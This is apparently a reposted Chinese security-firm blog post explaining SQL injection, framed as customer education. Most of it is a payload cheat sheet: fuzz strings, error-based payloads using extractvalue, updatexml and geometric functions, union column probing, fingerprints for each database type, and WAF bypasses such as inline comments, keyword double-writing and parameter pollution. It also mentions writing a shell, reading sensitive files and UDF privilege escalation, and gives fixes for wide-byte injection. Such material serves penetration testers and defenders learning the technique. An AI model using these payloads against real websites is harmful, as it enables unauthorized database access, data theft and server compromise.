網站被攻擊滲透測試出漏洞怎麼辦
國慶即將到來,前一期講到獲取網站資訊判斷所屬環境以及各個埠的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對於SQL隱碼攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產生的,會給網站安全帶來怎樣的影響!
3.1 SQL隱碼攻擊漏洞
3.1.1. 注入分類
SQL隱碼攻擊是一種程式碼注入技術,用於攻擊資料驅動的應用程式。在應用程式中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入欄位中執行(例如將資料庫內容轉儲給攻擊者)。
3.1.1.1. 按技巧分類
根據使用的技巧,SQL隱碼攻擊型別可分為
- 盲注
- 布林盲注:只能從應用返回中推斷語句執行後的布林值
- 時間盲注:應用沒有明確的回顯,只能使用特定的時間函式來判斷
- 報錯注入:應用會顯示全部或者部分的報錯資訊
- 堆疊注入:有的應用可以加入 ; 後一次執行多條語句
- 其他
3.1.1.2. 按獲取資料的方式分類
另外也可以根據獲取資料的方式分為3類
- inband
- 利用Web應用來直接獲取資料
- 如報錯注入
- 都是透過站點的響應或者錯誤反饋來提取資料
- inference
- 透過Web的一些反映來推斷資料
- 如布林盲注和堆疊注入
- 也就是我們通俗的盲注,
- 透過web應用的其他改變來推斷資料
- out of band(OOB)
- 透過其他傳輸方式來獲得資料,比如DNS解析協議和電子郵件
3.1.2. 注入檢測
3.1.2.1. 常見的注入點
- GET/POST/PUT/DELETE引數
- X-Forwarded-For
- 檔名
3.1.2.2. Fuzz注入點
- ' / "
- 1/1
- 1/0
- and 1=1
- " and "1"="1
- and 1=2
- or 1=1
- or 1=
- ' and '1'='1
- + - ^ * % /
- << >> || | & &&
- ~
- !
- @
- 反引號執行
3.1.2.3. 測試用常量
- @@version
- @@servername
- @@language
- @@spid
3.1.2.4. 測試列數
例如 域名/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回
3.1.2.5. 報錯注入
- select 1/0
- select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
- extractvalue(1, concat(0x5c,(select user())))
- updatexml(0x3a,concat(1,(select user())),1)
- exp(~(SELECT * from(select user())a))
- ST_LatFromGeoHash((select * from(select * from(select user())a)b))
- GTID_SUBSET(version(), 1)
3.1.2.5.1. 基於geometric的報錯注入
- GeometryCollection((select * from (select * from(select user())a)b))
- polygon((select * from(select * from(select user())a)b))
- multipoint((select * from(select * from(select user())a)b))
- multilinestring((select * from(select * from(select user())a)b))
- LINESTRING((select * from(select * from(select user())a)b))
- multipolygon((select * from(select * from(select user())a)b))
其中需要注意的是,基於exp函式的報錯注入在MySQL 5.5.49後的版本已經不再生效,具體可以參考這個 commit 95825f 。
而以上列表中基於geometric的報錯注入在這個 commit 5caea4 中被修復,在5.5.x較後的版本中同樣不再生效。
3.1.2.6. 堆疊注入
- ;select 1
3.1.2.7. 註釋符
- #
- --+
- /*xxx*/
- /*!xxx*/
- /*!50000xxx*/
3.1.2.8. 判斷過濾規則
- 是否有trunc
- 是否過濾某個字元
- 是否過濾關鍵字
- slash和編碼
3.1.2.9. 獲取資訊
- 判斷資料庫型別
- and exists (select * from msysobjects ) > 0 access資料庫
- and exists (select * from sysobjects ) > 0 SQLServer資料庫
- 判斷資料庫表
- and exsits (select * from admin)
- 版本、主機名、使用者名稱、庫名
- 表和欄位
- 確定欄位數(Order By Select Into)
- 表名、列名
3.1.2.10. 測試許可權
檔案操作
- 讀敏感檔案
- 寫shell
- 帶外通道
- 網路請求
3.1.3. 許可權提升
3.1.3.1. UDF提權
UDF(User Defined Function,使用者自定義函式)是MySQL提供的一個功能,可以透過編寫DLL擴充套件為MySQL新增新函式,擴充其功能。
當獲得MySQL許可權之後,即可透過這種方式上傳自定義的擴充套件檔案,從MySQL中執行系統命令。
3.1.4. 資料庫檢測
3.1.4.1. MySQL
- sleep sleep(1)
- benchmark BENCHMARK(5000000, MD5('test'))
- 字串連線
- SELECT 'a' 'b'
- SELECT CONCAT('some','string')
- version
- SELECT @@version
- SELECT version()
- 識別用函式
- connection_id()
- last_insert_id()
- row_count()
3.1.4.2. Oracle
- 字串連線
- 'a'||'oracle' --
- SELECT CONCAT('some','string')
- version
- SELECT banner FROM v$version
- SELECT banner FROM v$version WHERE rownum=1
3.1.4.3. SQLServer
- WAITFOR WAITFOR DELAY '00:00:10';
- SERVERNAME SELECT @@SERVERNAME
- version SELECT @@version
- 字串連線
- SELECT 'some'+'string'
- 常量
- @@pack_received
- @@rowcount
3.1.4.4. PostgreSQL
- sleep pg_sleep(1)
3.1.5. 繞過技巧
- 編碼繞過
- 大小寫
- url編碼
- html編碼
- 十六進位制編碼
- unicode編碼
- 註釋
- // -- -- + -- - # /**/ ;%00
- 內聯註釋用的更多,它有一個特性 /!**/ 只有MySQL能識別
- e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
- 只過濾了一次時
- union => ununionion
- 相同功能替換
- 函式替換
- substring / mid / sub
- ascii / hex / bin
- benchmark / sleep
- 變數替換
- user() / @@user
- 符號和關鍵字
- and / &
- or / |
- HTTP引數
- HTTP引數汙染
- id=1&id=2&id=3 根據容器不同會有不同的結果
- HTTP分割注入
- 緩衝區溢位
- 一些C語言的WAF處理的字串長度有限,超出某個長度後的payload可能不會被處理
- 二次注入有長度限制時,透過多句執行的方法改掉資料庫該欄位的長度繞過
3.1.6. SQL隱碼攻擊小技巧
3.1.6.1. 寬位元組注入
一般程式設計師用gbk編碼做開發的時候,會用 set names 'gbk' 來設定,這句話等同於
set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
漏洞發生的原因是執行了 set character_set_client = 'gbk'; 之後,mysql就會認為客戶端傳過來的資料是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執行的。但是直接用 set names 'gbk' 的話real_escape是不知道設定的資料的編碼的,就會加 %5c 。此時server拿到資料解碼 就認為提交的字元+%5c是gbk的一個字元,這樣就產生漏洞了。
解決的辦法有三種,第一種是把client的charset設定為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這裡就會把編碼的資訊儲存在和資料庫的連線裡面,就不會出現這個問題了。第三種就是用pdo。如果期間想要滲透測試自己的網站安全性,可以聯絡專業的網站安全公司來處理解決,國內推薦Sinesafe,綠盟,啟明星辰等等的網站安全公司,還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那麼admin%32在程式碼裡面不等於admin,在資料庫比較會等於admin。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31542418/viewspace-2658818/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 網站被攻擊怎麼辦 如何查詢網站漏洞攻擊源網站
- 用APP滲透測試來查詢網站被駭客攻擊的根源以及漏洞修復APP網站
- 滲透測試網站sql注入攻擊與防護網站SQL
- 伺服器滲透測試之攻擊漏洞方法伺服器
- 什麼是CC攻擊?網站被CC攻擊怎麼辦?網站
- 網站滲透測試安全檢測漏洞網站
- 網站安全測試之APP滲透測試漏洞網站APP
- APP滲透測試 深入挖掘漏洞以及如何防止攻擊APP
- 如何學習網站漏洞滲透測試學習網站
- 網站漏洞檢測 滲透測試檢測手法網站
- 如何進行滲透測試XSS跨站攻擊檢測
- 滲透測試對檔案包含漏洞網站檢測網站
- 網站滲透測試漏洞分析程式碼架構網站架構
- 什麼是滲透測試?網站有必要進行滲透測試嗎?網站
- 網站被攻擊 如何修復網站漏洞網站
- beescms網站滲透測試網站
- 滲透測試網站安全漏洞檢測大體方法網站
- 網站安全公司 滲透測試中的漏洞資訊蒐集網站
- 邏輯注入漏洞滲透測試檢測辦法
- Kali linux滲透測試系列————28、Kali linux 滲透攻擊之社會工程學攻擊Linux
- 網站存在漏洞被通知整改怎麼辦網站
- 網站漏洞滲透測試行業該如何去學習網站行業
- 網站漏洞滲透測試覆盤檢查結果分析網站
- 網站查詢漏洞滲透測試大體流程介紹網站
- 滲透測試模擬黑客攻擊之蒐集資訊黑客
- 網站遇到攻擊怎麼辦?常見攻擊有哪些?(轉)網站
- 滲透測試學習之探測和攻擊無線網路五
- 滲透測試學習之探測和攻擊無線網路六
- 滲透測試學習之探測和攻擊無線網路八
- 滲透測試學習之探測和攻擊無線網路九
- 滲透測試學習之探測和攻擊無線網路十
- 滲透測試學習之探測和攻擊無線網路十一
- 滲透測試學習之探測和攻擊無線網路一
- 滲透測試學習之探測和攻擊無線網路二
- 滲透測試學習之探測和攻擊無線網路三
- 滲透測試學習之探測和攻擊無線網路四
- 網站滲透測試安全檢測方案網站
- 網站漏洞測試 檔案上傳漏洞的安全滲透與修復網站